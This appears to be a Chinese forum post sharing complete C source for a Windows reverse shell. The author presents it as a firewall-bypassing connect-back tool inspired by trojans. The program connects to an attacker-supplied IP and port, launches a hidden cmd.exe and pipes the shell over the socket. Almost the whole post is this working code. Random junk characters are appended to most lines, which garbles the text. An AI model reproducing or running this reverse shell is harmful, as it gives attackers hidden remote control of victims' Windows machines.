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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <=B1"'\  
6,CU)-98G  
/* ============================== &!H~bzg  
Rebound port in Windows NT 2@"0} po#  
By wind,2006/7 ux" D ]P  
===============================*/ yfRUTG  
#include 9n06n$F  
#include P wt ?9I  
<k!mdj)  
#pragma comment(lib,"wsock32.lib") 8=ukS_?Vy  
k)<~nc-  
void OutputShell(); b/a?\0^  
SOCKET sClient; 6E)uu; 8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hY4)W  
]6?c8/M  
void main(int argc,char **argv) [R@q]S/  
{ x= vE&9_u  
WSADATA stWsaData; ,qBnqi[  
int nRet; eG[umv.9b  
SOCKADDR_IN stSaiClient,stSaiServer; PHe~{"|d?  
o O{|C&A  
if(argc != 3) )<H 91:.  
{ 's56L,^:  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1I:"0("}  
return; te!]9rR  
} c0,gfY%sI$  
7cOg(6N  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^`hI00u(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h4$OXKme?  
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stSaiClient.sin_family = AF_INET; \'}/&PCkr  
stSaiClient.sin_port = htons(0); j L>I5f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N9>'/jgZX  
Jq$6$A,f  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?,+C!R?  
{ 0pZ.; /<{  
printf("Bind Socket Failed!\n"); s)`1Rf  
return; g4.'T51  
} {Q#Fen ;y|  
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stSaiServer.sin_family = AF_INET; 32)&;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \$$b",2 h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F$sF 'cw  
I;kUG_c(4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P?3YHa^up  
{ V5(tf'  
printf("Connect Error!"); OyG_thX  
return; 7E\K!v_  
} jl 30\M7  
OutputShell(); sJjl)Qs)T  
} ECE{xoc  
mPw56>  
void OutputShell() z9);e8ck  
{ 8h@)9Q]d\  
char szBuff[1024]; l/y Kc8^<  
SECURITY_ATTRIBUTES stSecurityAttributes; 4%#V^??E  
OSVERSIONINFO stOsversionInfo; 9$4/frd  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Hc_hO  
STARTUPINFO stStartupInfo; U{za m  
char *szShell; `Q(]AG I2  
PROCESS_INFORMATION stProcessInformation; twJ|Jmd  
unsigned long lBytesRead; B'lxlYV1  
.9[8H:Fe  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xTksF?u)  
 t3yQ/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8wH41v67F  
stSecurityAttributes.lpSecurityDescriptor = 0; E=tx.h4xG~  
stSecurityAttributes.bInheritHandle = TRUE; \ 3js}  
\4`saM /x  
7}iewtdy,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J!TK*\a2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B3g82dm  
9-Nq[i"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,P; a/{U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JK'_P}[]I  
stStartupInfo.wShowWindow = SW_HIDE; HLyFyv\  
stStartupInfo.hStdInput = hReadPipe; hAxuZb7 ?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^&Rxui  
T$N08aju#  
GetVersionEx(&stOsversionInfo); _QOOx+%*5  
Ymk4Cu.s  
switch(stOsversionInfo.dwPlatformId) <>5:u  
{ OV@h$fg  
case 1: l]58P  
szShell = "command.com"; Z+h7 0,|  
break; ~jRk10T(B  
default: UV *tO15i  
szShell = "cmd.exe"; xjn8)C  
break; zN8V~M;  
} {p lmFV  
Q\/":ISq1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V[M$o  
coP$7Q .  
send(sClient,szMsg,77,0); j5VRv$P  
while(1) lWyP[>*  
{ ^6NABXL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SUnmp  
if(lBytesRead) MF`k~)bDV  
{ >. nt'BQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "<n"A7e  
send(sClient,szBuff,lBytesRead,0); /x8C70W^  
} :]z-Rz  
else zHum&V8=H  
{ {;(g[H=q;  
lBytesRead=recv(sClient,szBuff,1024,0); m 'H  
if(lBytesRead<=0) break; z1@sEfk>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JjTzq2'%  
} DRg ~HT  
} Tdmo'"m8z_  
,%b1 ]zZQ  
return; r|H!s,  
}
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